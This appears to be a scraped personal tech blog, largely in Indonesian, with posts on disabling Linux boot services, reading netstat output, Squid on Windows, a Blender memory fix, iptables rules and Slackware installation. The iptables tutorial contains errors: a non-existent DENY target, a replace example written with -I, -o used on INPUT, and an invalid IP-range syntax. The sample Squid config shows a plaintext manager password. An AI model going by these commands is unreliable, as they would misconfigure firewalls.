This service is to increase performance across processors on a multiprocessor system. Since most people do not have multiple processors, it should be disabled. However I do not know how it affects multi-core CPU’s or hyperthreaded CPU’s (?). There should be no problems on single CPU systems that do not use this.

kde-guidance
Enable it if you use KDE and need it.
kde-guidance is a collection of KDE system administration tools which currently consists of four programs designed to help you look after your system. Running this at start-up will allow you to swap video cards and always have a system that will run Xorg.

kdm
Enable it if you use KDE and don’t use Gnome’s gdm. Don’t leave both enabled.
kdm is the KDE Display Manager, also known as login manager. It shows a graphical login screen for username and password. After authenticating the user it starts a session.

keyboard-setup
Safe to disable.
This is a tool to set the console keyboard as early as possible so during the file systems checks the administrator can interact.

killprocs
Leave it on.
This is a script executed by init(8) upon entering runlevel 1 (single).

klogd
Leave it on unless you have sysklogd enabled.
klogd is a system daemon which intercepts and logs Linux kernel messages.

kudzu
Disable it and enable it only when you change your computer’s hardware (add or remove devices).
This runs the hardware probe, and optionally configures changed hardware. If you swap hardware or need to detect/re-detect hardware this can be left enabled. However most desktop or servers can disable this and run it only when necessary.

laptop-mode
Disable it unless you have a laptop.
This starts and stops “laptop-mode” - tweaks system behavior to extend battery life.

libpam-foreground
Safe to disable.
A tool used to clean old status files during boot.

linux-restricted-modules
Leave this on unless your system doesn’t use any restricted kernel modules (such as nvidia or madwifi).
Take a look in /lib/linux-restricted-modules/. If it’s empty (unlikely), it’s safe to disable it.

ldap
Disable it unless you need it.
This shell script takes care of starting and stopping ldap servers (slapd and slurpd).

lm-sensors
Safe to disable.
This monitors motherboard sensor values or specific hardware (commonly used with laptops). It is useful for watching realtime values for PC health, etc. It requires configuration before being able to use it.

loopback
Leave it on.
This brings up the loopback (127.0.0.1) network device so that DHCP and other such things will work.

makedev
Leave it on.
Creates device files in /dev.

mdmonitor
Disable it unless you have RAID arrays.
Is useful for monitoring Software RAID or LVM information. It is not a critical service and may be disabled.

module-init-tools
Disable it if you don’t need it. Investigate first.
This is an utility to load the modules listed in /etc/modules. Check that file ($ cat /etc/modules) and if empty, disable this.

mountoverflowtmp
Safe to disable unless you have a very small and full hard drive.
Tool used to mount emergency /tmp if there would otherwise be too little space to log in.

multipathd
Safe to disable.
The multipathd daemon is in charge of checking for failed paths. When this happens, it will reconfigure the multipath map the path belongs to, so that this map regains its maximum performance and redundancy.

mysql or mysqld
Enable it if you need it.
This runs the MySQL database server at system start-up.

netplugd
Disable it.
Netplugd can monitor network interfaces and executes commands when their state changes. This can be left to default disabled.

networking or network
Leave it on.
This will bring up network interfaces and configure them via dhcp during boot time.

NetworkManager and NetworkManagerDispatcher
Enable it if you need it.
Scripts to start NetworkManager at bootup. NetworkManager is an advanced network connection tool. It attempts to make networking invisible to the end user, so that when moving into areas you’ve been before, NetworkManager automatically connects to the last network you chose to connect to.

nfs-common / nfs-kernel-server / netfs / nfs / nfslock
Safe to disable if you don’t need it.
NFS is a popular protocol for file sharing across TCP/IP networks. Unless you require to share data in this manner, disable this.

nvidia-kernel
Leave it on.
This enables the nvidia driver from the restricted kernel modules.

nscd
Disable it unless you need it.
This is a daemon which handles passwd and group lookups for running programs and cache the results for the next query. You should start this daemon if you use slow naming services like NIS, NIS+, LDAP, or hesiod.

ntpd
Enable it if you want your clock to be auto-synced.
This automatically updates the system time from the internet. If you have an active (”always-on”) internet connection it is recommended you enable this, but it is not required.

pand
Disable it unless you need it.
Bluetooth Personal Area Networking Daemon. Provides network services over Bluetooth.

pcmciautils or pcmcia
Disable it unless you need it.
This service provides PCMCIA hardware support for systems running Linux kernel newer than 2.6.13.

pcscd
Disable it unless you need it.
Provides support for Smart Cards and Smart Card Readers. This are small chip like devices that are embedded in certain credit cards, identification cards, etc. Unless you have such a reader, this should be disabled.

portmap
Disable it unless you need it.
This is complementary service to NFS (file sharing) and/or NIS (authentication). Also provides support for those rare apps that use rpc. Unless you use those services you should disable this. Useful for servers.

powernowd
Disable it unless you need it.
This is a tool used to control the speed and voltage of cpus. It’s a simple client to the cpufreq driver and it’s useful mainly for laptops that support CPU speed stepping technology.

ppp or pppd-dns
Disable it unless you have a dial-up connection.
Utility for dial-up connections.

psacct
Disable it.
A Tracker of active processes, a waste of resources really.

readahead or readahead_early or readahead_later
Safe to disable.
Loads into memory programs before they are needed. Leave it enabled if you want applications to start faster.

reboot
Leave it on.
Tool used to execute the reboot command.

racoon
Disable it.
racoon is an IKE (ISAKMP/Oakley) key management daemon.

rdisc
Disable it.
rdisc implements client side of the ICMP router discover protocol. rdisc is invoked at boot time to populate the network routing tables with default routes.

restorecond
Disable it if you don’t run selinux.
restorecond uses inotify to look for creation of new files listed in the /etc/selinux/restorecond.conf file, and restores the correct security context.

rmnologin
Safe to disable.
This tool removes /etc/nologin at boot if it finds it.

rpc*
Disable them unless you need them.
rpcgssd, rpcidmapd, rpcsvcgssd, rpcbind, rpcgssd and so on are only usefull if you require or use NFS v4.

rsyslog
Leave it enabled.
Rsyslog is an enhanced multi-threaded syslogd supporting, among others, MySQL, syslog/tcp, RFC 3195, permitted sender lists, filtering on any message part, and fine grain output format control. It is a good idea to always run rsyslog.

rsync
Disable it unless you need it.
Its just like rpc with much more features. Provides a very fast method for bringing remote files into sync.

samba or smb
Enable it if you need it.
The SAMBA daemon is required to share files from Linux to Windows. This should be enabled only if you have windows computers that require file access to Linux.

screen
Safe to disable.
This is a script that cleans-up dead screen sessions. For example if you reseted your computer while having a screen session opened.

sendmail
Safe to disable.
Unless you run a server or you like to transfer or support a locally shared IMAP or POP3 service, most people do NOT need a mail transport agent. If you check your mail on the web (hotmail/yahoo/gmail) or you use a mail program such as Thunderbird, Kmail, Evolution, etc. then you should disable this.

sendsigs
Leave it on.
This is a script used to kill all remaining processes.

smartd
Leave it on.
The SMART Disk Monitoring Daemon can be used to monitor and predict disk failure or problems on hard disk that support this. Most desktop users may not need this unless there is possible problems, but is it recommend to be left enabled (especially for servers).

single
Leave it on.
Activates single-user mode.

ssh or sshd
Safe to disable unless you need it.
SSH allows other users to log into or run applications on your computer from another computer on your network or remotely. This is a potential security issue. This is not needed if you have no other computers or no need to login from a remote location (work, school, etc.).

stop-bootlogd and stop-bootlogd-single
Disable it.
Stops the bootlogd daemon. See bootlogd.

stop-readahead
Safe to disable.
This is a script for stopping readahead profiling. See readahead.

sysklogd
Disable it if you have klogd enabled.
This is a script used to start klogd, the system log daemon.

udev / udev-mab / udev-post / udev-finish
Leave it on.
Scripts related to udev. udev provides a dynamic device directory containing only the files for actually present devices. It creates or removes device node files in the /dev directory, or it renames network interfaces.

umountfs
Leave it on.
Turn off swap and unmount all local file systems.

urandom
Leave it on.
This is a system process, don’t mess with it. It provides the kernel random number source devices.

usplash
Safe to disable.
Enable this if you really want to see the nice boot up screen.

vbesave
Leave it on.
This is a video card BIOS configuration tool. Its able to save your video card status.

x11-common or xorg-common
Leave it on unless you’re booting in single user mode (you don’t boot directly into a graphical login manager).
Tool used to set up the X server and ICE socket directories.

yum-updatesd
Disable it.
The YUM Update notifier daemon provides notification of updates which are available to be installed to your computer. If you do NOT have an active (”always-on”) internet connection leave this disabled. Some updates are for security and many are for bug fixes and or newer software versions. Please understand that continuous updating with yum may lead to many problems. Make sure you run yum update regularly, however.

That’s it for now. I might update the list at some point but until then, enjoy this!

Awasi Jaringan ANDA!

2008-01-05T22:16:00.000-08:00

Hanya salah satu cara (disamping beragam tool networking yang tersedia luas di internet) memastikan jaringan internet anda aman gunakan minimal netstat untuk melihat traffic yang sedang berjalan.

C:\Documents and Settings\hdofront>netstat

Active Connections

Proto Local Address Foreign Address State
TCP hdolc_1:1059 localhost:1060 ESTABLISHED
TCP hdolc_1:1060 localhost:1059 ESTABLISHED
TCP hdolc_1:1061 localhost:1062 ESTABLISHED
TCP hdolc_1:1062 localhost:1061 ESTABLISHED
TCP hdolc_1:1033 cs16.msg.dcn.yahoo.com:5050 ESTABLISHED
TCP hdolc_1:1036 sip44.voice.re2.yahoo.com:https ESTABLISHED
TCP hdolc_1:3905 www.ibm.com:http ESTABLISHED
TCP hdolc_1:3906 www.ibm.com:http ESTABLISHED
TCP hdolc_1:3907 www.ibm.com:http ESTABLISHED
TCP hdolc_1:3908 www.ibm.com:http ESTABLISHED
TCP hdolc_1:3909 www.ibm.com:http ESTABLISHED
TCP hdolc_1:3910 www.ibm.com:http ESTABLISHED
TCP hdolc_1:3911 www.ibm.com:http ESTABLISHED
TCP hdolc_1:3912 www.ibm.com:http ESTABLISHED
TCP hdolc_1:3915 hexasoft.com.my:http ESTABLISHED
TCP hdolc_1:3919 one.cbox.ws:http TIME_WAIT
TCP hdolc_1:3924 hexasoft.com.my:http ESTABLISHED
TCP hdolc_1:3928 42.subnet125-160-16.akamai.telkom.net.id:http ESTABLISHED
TCP hdolc_1:3929 42.subnet125-160-16.akamai.telkom.net.id:http ESTABLISHED
TCP hdolc_1:3930 42.subnet125-160-16.akamai.telkom.net.id:http ESTABLISHED
TCP hdolc_1:3931 42.subnet125-160-16.akamai.telkom.net.id:http ESTABLISHED
TCP hdolc_1:3934 nz-in-f191.google.com:https TIME_WAIT
TCP hdolc_1:3935 nz-in-f191.google.com:https TIME_WAIT
TCP hdolc_1:3961 172.16.133.99:microsoft-ds SYN_SENT
TCP hdolc_1:3962 172.16.133.99:netbios-ssn SYN_SENT

C:\Documents and Settings\hdofront>

analisis minimal buat tau port, sama ip yang diakses komputer. kalau normal2 aja port itu

1. port 80 , 8080, 3128 ( web, proxy)
2. Port 21 port Ftp
3. Port 23 Port Telnet
4. Port 22 Port ssh
5. port 6667 port Chat Mirc
6. port 5050 port Yahooo mesengger

diluar itu mungkin virus. atau software tertentu yang anda install.

Proxy Server dgn SQUID di Windows

2008-01-05T02:58:00.000-08:00

squid di linux, *BSD, hmm sepertinya bukan barang aneh dan biasanya memang memakai platform *NIX tersebut. bagaimana kalo dijalanin di windos ya??? sepertinya menarik. ada g ya squid buat windows. googling aja ah. akhirnya menemukan alamat berikut :

http://www.acmeconsulting.it/SquidNT/
kalo alamat squid aslinya sih di sini http://squid-cache.org

disini kita bisa donlot paket squid buat windows. cukup simple karena cukup dengan ekstrak file zip yg udah didonlot dan sedikit konfigurasi... beres.

Setelah donlot, ekstrak file zip squid yang di download letakkan di c:\squid kemudian masuk ke c:\squid\etc\

Rename file squid.conf.default dan mime.conf.default menjadi squid.conf dan mime.conf
Edit file squid.conf sesuai dengan konfigurasi anda (contoh konfigurasi sederhana squid.conf ada di bawah).

Masuk ke dos prompt kemudian ke direktori c:\squid\sbin lalu buat direktori squid cache dulu.
(dalam direktori c:\squid\sbin)

ketik squid -z

Bila konfigurasi benar maka pembuatan cache nya berjalan mulus.

Kemudian install squid untuk jalan sebagai service secara default
Ketik squid -i
masuk ke control panel -> Administrative Tools -> Services cari nama SquidNT/squid kemudan start

langkah selanjutnya adalah setting windows firewall.
Dengan win xp sp2 dan windows firewall aktif :
Buka service untuk squid
Masuk ke control panel -> windows firewall -> Exceptions
Klik add port isikan name: squid
Port number : isikan port yang akan dipakai (squid.conf pada file konfigurasi saya menggunakan port default yaitu 3128 )
TCP di aktifkan kemudian OK

Jangan lupa squid pada tab exceptions di beri tanda cek supaya aktif.
beres...
selamat mencoba.

NB: o iya... pengalaman ini dicoba di Windows XP SP2.

----------
contoh squid.conf sederhana

http_port 3128
httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on
icp_port 0
visible_hostname allhuda-net
acl QUERY urlpath_regex cgi-bin \?
no_cache deny QUERY
cache_mem 64 MB
cache_dir ufs c:/squid/var/cache 4500 16 256
redirect_rewrites_host_header off
acl localnet src 172.16.133.0/24
acl localhost src 127.0.0.1/255.255.255.255
acl Safe_ports port 80 443 210 119 70 21 1025-65535
acl CONNECT method CONNECT
cache_mgr allhuda@localhost
cache_access_log c:/squid/var/logs/access.log
cache_store_log c:/squid/var/logs/store.log
cache_log c:/squid/var/logs/cache.log
log_icp_queries off
cachemgr_passwd ehudcakep
acl manager proto cache_object
http_access allow manager
acl all src 0.0.0.0/0.0.0.0
http_access allow localnet
http_access allow localhost
http_access deny all

Limitasi Memory hanya 1.5GB pada Blender3D oleh Windows

2007-10-13T21:10:00.000-07:00

0. You are using Windows 2000, 32bit XP, or 32bit Vista.
1. You are working with complex scenes that take up 1GB RAM or more.
2. You have more than 1GB of physical RAM. If you have less RAM, you'll run into other problems long before you have to worry about this.
3. Blender crashes unexpectedly when the RAM usage reaches about 1.5GB.

This article is NOT for you if:

1. Yours scenes are relatively simple and take up less than 1GB of RAM at any given time.
2. You have very little physical RAM (Less than 1GB).
3. Blender crashes for other reasons, ie unstable video drivers, software conflict...

The problem:

Basically 32bit Windows is designed so that ANY SINGLE application can only utilize up to 2GB of RAM. Realistically, the maximum amount of RAM a program can use before it crashes is around 1.5GB. This does not cause a problem for day-to-day applications because they usually stay well below this limit. But when working with Blender, especially baking fluids, or rendering high resolution images with composite node, memory usage can easily reach 1.5GB+. Without proper configuration, Blender crashes.

View of the Task Manager (Ctrl+Alt+Delete) when blender is in a 'healthy' state.

Remember this is a software limitation due to the design of Windows, you can install 4GB of physical RAM on your computer, and set-aside a 4GB swap file, Blender will still crash at the 1.5GB mark. Thankfully there is a fix for the problem:

The Solution for 32bit Windows:

This is a two step procedure. We will raise the memory limit Windows allocate to each application from the default 2GB to 3GB. This way, our favorite application (blender?) can effectively use about 2.5GB of RAM for itself(a significant increase from the default 1.5GB). And here is how we do that in Windows 2000/XP:

Warning: Editing boot.ini could cause your computer to become unbootable. If you are unsure of what you are doing, do some research before continuing.

Step 1.

1. Right click on My Computer, Click Properties, go to the Advanced tab, click on Settings under Startup and Recovery, click on Edit in the new window that pops up, boot.ini should open in notepad. Now, find the line that looks like this:

multi(0)disk(0)rdisk(0).....="Windows XP" /fastdetect

Append this 5 characters to the end of the line, without the quote:
" /3GB"

With this switch, your computer will allocate 3GB to applications. Reboot your computer for the change to take effect.

For 32bit Vista users only: Setting the '3GB' Flag in 32bit Windows Vista

Step 2: (For all 2000/XP/Vista users)

Find a version of Blender that is compiled with the LAA (Large Address Aware) flag. 'Official' Blender releases are not compiled with LAA. But this one does: Here is the clean Blender 2.45 compiled with the LAA flag. LAA blender requires the /3GB flag to be used, as described above. Without the /3GB flag, LAA blender behaves normally just like any other Blender release.

Step 3: There is no step 3

So that's it. With the above 2 steps, your Blender should be able to render fluids at resolution 500 and render still images at 3200x2400 without any problem. Remember, /3GB and LAA need be used together for this trick to work.

FAQ

Q: I only have 1GB of physical RAM (or less), should I worry about this article?
A: The short answer is no. It is unlikely that you will truly hit the 1.5GB barrier, since the OS takes up some memory as well, by the time Blender is using 1.5GB of RAM, your computer is probably using close to 2GB of total memory, which would be painfully slow (due to the performance hit of using the swap file) that most users would just think their computer has 'froze' and hit the reset button.

Q: What about 64bit Blender?
A: Using the same 32bit LAA Blender 2.45 on 64bit Windows can give you 4GB of available RAM space per application to work with, once 64bit Blender is out, this number will probably go up to 8TB on 64bit Windows.

Q: What about Linux or OS X?
A: To the best of my knowledge, 32bit Linux, has this memory wall at around 3.5GB or so. I am not sure about OS X. (comments would be appreciated) Edit: Thanks Tux Runner

Q: So this fix completely solves the problem?
A: No. To quote jlh on blendernation, this fix just relocates the problem from 1.5GB to 2.5GB and linux will probably not go higher than 2.5GB either. All in all, it boils down to: 32-bit systems are starting to hit their limits. And it's no different with linux. 64bit is a mandatory upgrade once program starts using more than 4GB of memory.

Q: My computer is running funny with the "\3GB" switch
A: The DirectX 9 API has issues with the 3GB flag, thus rarely some older games experience problem when ran under the 3GB flag.

Summary

General memory limits	32-bit	64-bit
Virtual address space per 32-bit process	2 GB, 3 GB if the system is booted with the /3GB switch and application is LAA	2 GB, 4 GB if the application is compiled with the /LARGEADDRESSAWARE switch
Virtual address space per 64-bit process	Not applicable	8 terabytes

Filter dengan IPTABLES

2007-08-19T05:00:00.001-07:00

Iptables merupakan aplikasi untuk administrasi filtering paket dan Network Address Translation (NAT) pada IPv4. Gambaran umum, iptables digunakan untuk konfigurasi, merawat dan memeriksa rules tables (tabel aturan) tentang filter paket IP yang terdapat di kernel linux. Tiap-tiap tables memiliki beberapa built-in (bawaan) chains kernel linux dan chains buatan user sendiri. Setiap chains memiliki list / daftar aturan untuk mencocokkan suatu paket yang datang. Setiap aturan tersebut berfungsi memberikan keputusan eksekusi apa yang akan dilakukan bila paket yang datang cocok dengan aturan yang telah dibuat.

Berikut gambaran dan contoh kegunaan iptables :

Terlihat bahwa komputer A, B dan C mengirim paket data kepada komputer D yang sudah dilengkapi iptables. Pada konfigurasi iptables dibuat pernyataan bahwa hanya paket yang memiliki huruf c yang boleh diterima komputer D, selain itu ditolak semua. Dan hasilnya, hanya komputer C saja yang bisa mengirimkan paket dan diterima komputer D. Tentunya dengan gambaran sederhana ini kita bisa membayangkan kegunaan iptables lebih detail. Misalkan bila ada komputer asing yang mengirimkan paket data untuk keperluan scanning atau hacking maka paket tersebut langsung ditolak oleh komputer kita.

Iptables memiliki 4 tabel aturan yaitu filter, nat, mangle dan raw. Yang akan saya bahas adalah aturan "filter" karena ini yang seringkali digunakan dalam pengaturan jaringan. Kita sudah tahu bahwa pada table terdapat chains (rantai) yang berisi rules / aturan. Namun perlu diketahui tiap table memiliki chains yang berbeda-beda. Chains pada tables "filter" dari 3 fungsi yaitu INPUT, FORWARD dan OUTPUT. INPUT untuk paket yang disiapkan untuk soket lokal atau komputer kita sendiri. FORWARD untuk paket yang diarahkan / routing ke box dan OUTPUT untuk paket yang di generate / dibuat sendiri. Cara gampangnya untuk memahami, chains INPUT berguna untuk mengatasi paket data yang masuk. FORWARD berguna untuk mengalihkan paket yang datang dan OUTPUT berguna untuk menghasilkan paket data yang akan diteruskan nantinya.

Setelah kita mengetahui ketiga fungsi chains tersebut maka kita perlu mengetahui command / perintah dalam konfigurasi iptables. Perlu diketahui bahwa dalam satu chain terdiri dari beberapa rule / aturan. Tiap-tiap aturan tersebut memiliki urutan prioritas tersendiri. Bila ada paket datang maka akan disesuaikan dengan chains. Setelah dikelompokkan maka paket tersebut diseleksi oleh rule yang terdapat pada chain. Bila ada paket datang yang tidak cocok dengan aturan pertama maka akan diteruskan menuju seleksi aturan kedua dan selanjutnya hingga aturan terakhir. Berikut command-command yang umum digunakan :

-A
yaitu append. Memiliki struktur -A [chain] [aturan]. Berfungsi untuk menetapkan aturan ke dalam chains. Contoh : iptables -A INPUT -s 192.168.0.1

-D
yaitu delete aturan. Memiliki struktur -D [chain] [aturan] atau -D [chain] [nomor urutan aturan]. Berfungsi untuk menghapus aturan dari chains atau menghapus aturan berdasarkan urutan list didalam chains. Contoh : iptables -D INPUT 1 ( menghapus aturan pertama dalam chain INPUT )

-I
yaitu insert. Memiliki struktur -I [chain] [nomor urutan aturan] [aturan]. Berfungsi untuk memasukan aturan baru kedalam chain. Bila nomor urutan aturan adalah 1 berarti aturan tersebut dimasukkan ke prioritas utama dalam chain. Contoh : iptables -I OUTPUT 2 -s 192.168.0.1

-R
yaitu replace. Memiliki struktur -R [chain] [nomor urutan aturan] [aturan baru]. Berfungsi untuk menimpa / me-replace aturan lama dengan aturan baru dalam chain. Contoh : iptables -I OUTPUT 2 -s 192.168.0.1 ( menimpa rule kedua dengan rule baru -s 192.168.0.1

-L
yaitu list. Memiliki struktur -L [chain]. Berfungsi untuk menampilkan daftar aturan-aturan didalam chain. Bila chain tidak disertakan maka akan muncul aturan dalam semua chain. Contoh : iptables -L INPUT

-F
yaitu flush. Memiliki struktur -F [chain]. Berfungsi untuk menghilangkan semua aturan pada chain. Contoh: iptables -F FORWARD ( menghapus semua aturan didalam chain FORWARD )

-N
yaitu new. Memiliki struktur -N [chain]. Berfungsi untuk membuat chain baru. Contoh: iptables -N GET

-X
yaitu delete chain. Memiliki struktur -X [chain]. Berfungsi untuk menghapus chain dan ini berbeda dengan -D yang berguna untuk menghapus rule saja. Untuk menghapus chain, dipastikan terlebih dahulu bahwa tidak ada aturan-aturan didalam chain tersebut. Dapat digunakan flush untuk menghapus aturan-aturan di dalam chains, Contoh: iptables -X GET

-E
yaitu rename chain. Memiliki struktur -E [chain lama] [chain baru]. Berfungsi untuk me-rename / mengganti nama chain yang ada didalam iptables. Contoh: iptables -E GET PUT

Setelah kita mengetahui perintah-perintah pada iptables, yang kira perlu pahami berikutnya adalah parameter. Kita melihat contoh perintah "iptables -I OUTPUT 2 -s 192.168.0.1". Disini, -s merupakan parameter. Kegunaan parameter adalah untuk mengidentifikasikan spesifikasi aturan dan digunakan untuk mengikuti perintah umum seperti add, delete, insert, replace dan append.

-p

yaitu menunjukkan protokol. Untuk mengindentifikasikan protokol dalam rule seperti tcp, udp, icmp,dst diperlukan parameter ini.Contoh: iptables -A INPUT -p tcp

-m
yaitu match option. Mirip dengan -p tetapi perbedaannya adalah modul yang digunakan. Bila pada -p menggunakan modul yang bersifat spesifik tetapi berbeda dengan -m. Dengan menggunakan parameter ini, kita bebas menentukan nama module yang dipakai dan meng-variasikannya dalam perintah selanjutnya. Contoh : iptables -A INPUT -s 192.168.0.0/16 -m comment --comment "IP yang di-blok" ( berarti modul comment berisi perintah --comment "IP yang di-blok" )

-s
yaitu source alamat hostname / ip. Contoh : iptables -A INPUT -s 192.168.0.1

-d
yaitu destination / tujuan dari alamat ip. Contoh: iptables -A INPUT -d 192.168.0.2

-j
yaitu jump. Berfungsi untuk memberikan keputusan setelah paket data cocok dengan aturan. Biasanya terdapat di akhir perintah dan diikuti argumen perintah. Contoh : iptables -A INPUT -s 192.168.0.2 -j DROP.

-i
yaitu in-interface alias nama interface yang menerima kiriman paket ( terbatas pada chain INPUT, FORWARD dan PREROUTING saja ). Contoh: iptables -A INPUT -i eth0 -s 192.168.0.2

-o
yaitu out-interface alias nama interface yang akan mengirim paket keluar (terbatas pada chain FORWARD, OUTPUT dan POSTROUTING). Contoh : iptables -A INPUT -o eth1 -s 192.168.0.2

-c
yaitu counter untuk menghitung paket-paket yang lewat dari sebuah aturan. Penulisan parameter ditulis sebelum command semacam APPEND,INSERT,REPLACE,dst. Contoh : iptables -c -A INPUT -s 192.168.0.2

-n
yaitu numeric. Parameter ini akan menampilkan output numeric seperti hostname,ip, port, nama network,dst. Contoh: iptables -L -n

-v
yaitu verbose yang berarti menampilkan informasi secara keseluruhan alias dalam bahasa indonesia terjemahannya "bertele-tele". Contoh: iptables -L -n -v

Sekarang kita sudah mendapatkan gambaran tentang penggunaan berbagai command dalam iptables. Lalu apa yang kurang? Argumen! argumen dibutuhkan untuk menentukan tindakan apa yang akan dilakukan setelah paket tersebut cocok dengan aturan pada iptables. Ada beberapa argument seperti:

ACCEPT,
Menerima paket data yang datang.

DROP
mengesampingkan paket data yang datang dan tidak memberikan reply. Sehingga paket yang datang langsung dibuang begitu saja tanpa memberikan balasan report kepada pengirim paket.

REJECT
menolak paket data yang datang. Berbeda dengan DROP, REJECT mengembalikan kembali paket yang telah dikirimkan tanpa flag / report.

DENY
menolak paket data yang datang dengan memberikan informasi. Berbeda dengan REJECT, DENY akan memberikan flag / informasi kepada pengirim paket bahwa paket yang dikirimkan telah ditolak.

Nah, sekarang kita sudah mendapatkan gambaran umum bagaimana cara konfigurasi iptables. Berikut akan saya sertakan contoh - contohnya:

#membuang (drop) semua kiriman paket dari ip address 192.168.0.1
ehud:~# iptables -A INPUT -s 192.168.0.1 -j DROP

#menerima paket TCP dari range ip address 192.168.0.1 sampai 192.168.0.15
ehud:~# iptables -A INPUT -p TCP -s 192.168.0.1/192.168.0.15 -j ACCEPT

#menolak semua paket ping loopback lokal ( interface yang digunakan adalah lo )
ehud:~# iptables -A INPUT -i lo -p ICMP -j DENY

#melihat list daftar aturan
ehud:~# iptables -L -n -v

selamat mencoba..

MEMBUAT PARTISI DI SLACKWARE

2007-08-04T15:22:00.000-07:00

Ketika pertama kali saya berkenalan dengan Slackware, hal peprtama yag membingungkan adalah pembuatan partisi. Berulangkali saya mencoba menginstall dan tidak pernah berhasil karena kekeliruan dalam pembuatan partisi. Jika distro lain memberikan beberapa pilihan bahkan otomatis dalam hal pembuatan partisi, tidak demikian halnya dengan Slackware. Slackware hanya menyediakan tool partisi yang dapat dilakukan secara manual. Namun menurut saya saat ini sudah cukup mudah dilakukan dengan menggunakan cfdisk atau fdisk yang secara default sudah disediakan oleh Slackware. Disini kita akan menggunakan cfdisk utk mempartisi harddirve. Untuk menggunakannya, ketikkan command cfdisk sehingga menjadi seperti gambar berikut.

Pilih [New] untuk membuat partisi baru. Yang harus anda ketahui adalah untuk bergerak antar menu anda bisa menggunakan panah kiri dan kanan. Sementara untuk bergerak antar partisi menggunakan panah atas dan bawah. Untuk memilih salah satu menu anda harus menggunakan enter.

lalu anda akan diberi pilihan jenis partisi yang akan dibuat. Primary atau Logical. Pilih [Primary].

kemudian tentukan ukuran (dalam MiB) partisi yang akan digunakan berdasarkan free space atau sisa ruang kosong yang tersedia.

langkah selanjutnya anda akan diberi pilihan posisi partisi apakah akan diletakkan di track awal atau di bagian akhir. Pilih saja [Beginning].

partisi pertama sudah anda siapkan dengan nama hda1 sehingga terlihat seperti gambar berikut.

Selanjutnya kita akan membuat partisi berikutnya. Karena GNU/Linux memerlukan minimal dua partisi yaitu partisi root (/) dan swap (semacam virtual memory di windows). Mulailah seperti langkah pembuatan partisi hda1 diatas dengan memilih free space yang masih ada hingga menjadi seperti gambar berikut.

seperti rencana semula bahwa partisi kedua ini akan kita gunakan sebagai swap dimana biasanya partisi ini besarnya adalah kurang lebih dua kali jumlah memory yang terpasang. Untuk itu kita harus mengganti tipe file system hda2 menjadi linux swap. Untuk itu pilih menu [ Type ] seperti gambar berikut.

selanjutnya akan muncul beragam file system (banyak sekali) yang bisa digunakan seperti diperlihatkan gambar berikut. Tekan sembarang tombol jika fyle system yang ada cari sudah/belum ditemukan.

pada gambar diatas kita lihat bahwa linux swap memiliki nomor kode 82, maka pada menu berikutnya masukkan angka 82 sebagaimana gambar berikut.

setelah melalui langkah diatas anda sudah memiliki partisi linux swap sebagaimana ditunjukkan gambar berikut.

langkah selanjutnya adalah memberikan penanda (Flags) pada partisi yang akan kita jadikan sebagai partisi boot (diwindows dikenal sebagai partisi active) yang nantinya akan digunakan sebagai tempat boot system. Pilih hda1 (partisi root) lalu pilih menu [Bootable] sehingga hda1 memiliki flags boot sebagaimana gambar berikut.

langkah berikutnya adalah mengeksekusi konfigurasi partisi yang sudah kita siapkan diatas dengan memilih menu [ Write ]

sehingga akan muncul pilihan iya atau tidak. Untuk melanjutkan proses berikutnya pilih yes, maka proses pembuatan partisi akan berjalan...

jika sudah selesai pilih menu [ Quit ] untuk keluar dari cfdisk.

Selamat.... partisi harddrive anda sudah siap digunakan utuk instalasi Slackware atau distribusi GNU/Linux lainnya.

Catatan :

Apabila anda membuat partisi tidak lebih dari empat partisi anda bisa membuat seluruh partisi sebagai primary partition sementara apabila sudah lebih dari 4, partisi ke 4 dan seterusnya haruslah logical.
Anda juga harus menentukan satu partisi sebagai bootable partition. Biasanya yang di set bootable partition adalah root partition.
Untuk swap anda bisa mempergunakan maksimal dua kali besar memori yang terpasang di komputer anda apabila memori yang anda miliki kurang dari 512 MiB. Apabila RAM yang anda miliki sudah lebih dari 512 MiB anda cukup membuat swap sebesar RAM yang anda miliki.
Partisi minimal yang harus anda buat untuk bisa berhasil menginstall slackware atau distriibusi GNU/Linux lainnya adalah dua partisi yaitu root ( / ) dan swap

Slack Inst. 12.0

2007-07-30T17:11:00.000-07:00

Catatan:
Pada tulisan ini partisi-partisi untuk Slackware sudah disiapkan sebelumnya.

0. Setting BIOS utk Booting via CDRoom/DVDRoom.
1. Masukkan CD-1 Slackware dan boot komputer Anda.
2. Pada dialog "Enter 1 to select a keyboard map", [ENTER].
3. Pada dialog "slackware login:" masukkan "root", [ENTER].
4. Pada dialog "root@slackware:/#" masukkan setup, [ENTER].
5. Akan muncul dialog "Slackware Linux Setup (version 12.0) dengan berbagai pilihannya.
6. Pilih Swap [Enter].
Pilih partisi swap yang akan dipakai, misal /dev/hda6.
7. Pada dialog "Check Swap Partitions For Bad Blocks", boleh pilih Yes atau No. Pilihlah Yes untuk memeriksa Bad Blocks. Kemudian muncul dialog "SWAP SPACE CONFIGURED" yang menyatakan partisi swap yang kita pilih sudah siap. [Enter].
8. Kemudian muncul dialog "Select Linux installation partition:" yaitu dimana kita bisa memilih partisi yang mau dipakai untuk system linux dan program-programnya (disebut "/" {root}).
Pilih /dev/hda5 misalnya yang sudah kita siapkan. (besarnya sekitar 6GB agar memungkinkan untuk memuat full install).
[Enter) untuk melanjutkan.

9. Pada Dialog "Format Partition /dev/hda5"* (*atau partisi yang tadi sudah dipilih), pilih [Format], pilih ext3 Journalising Filesystem atau yang lainnya (bebas). [Enter]

10. Pada Dialog "Select Inode", pilih yang default (=4096) saja, [Enter] dan tunggu beberapa saat

11. Kemudian dialog "Select other Linux partitions for /etc/fstab", artinya pilih partisi linux lainnya yang mau ditambahkan ke system linux kita. Misalnya pilih /dev/hda7 yang dipersiapkan untuk /home, , kemudian pilih [Format], [ext3 journalising], inode [4096] pada dialog-dialog seterusnya.

12. Pada dialog "MOUNT POINT FOR /dev/hda7"* (*atau partisi yang kita pilih), masukkan /home dan pilih

13. Muncul berita "DONE ADDING LINUX PARTITIONS TO /etc/fstab", artinya partisi-partisi linux sudah dimasukkan ke system yang akan kita install.

14. Pada dialog "FAT or NTFS PARTITIONS DETECTED", [yes, ENTER].

15. Pilih partisi FAT atau NTFS dari MsWin yang mau dibuat bisa-dibaca oleh system linux, misal /dev/hda1, [Enter]

16. Pada dialog "Pick Mount Point ...", ketikkan misalnya /windos [OK], juga [OK] pada dialog informatif berikutnya.

17. Muncul dialog "SOURCE MEDIA SELECTION", pilih [1] Install from a Slackware CD or DVD [Enter]

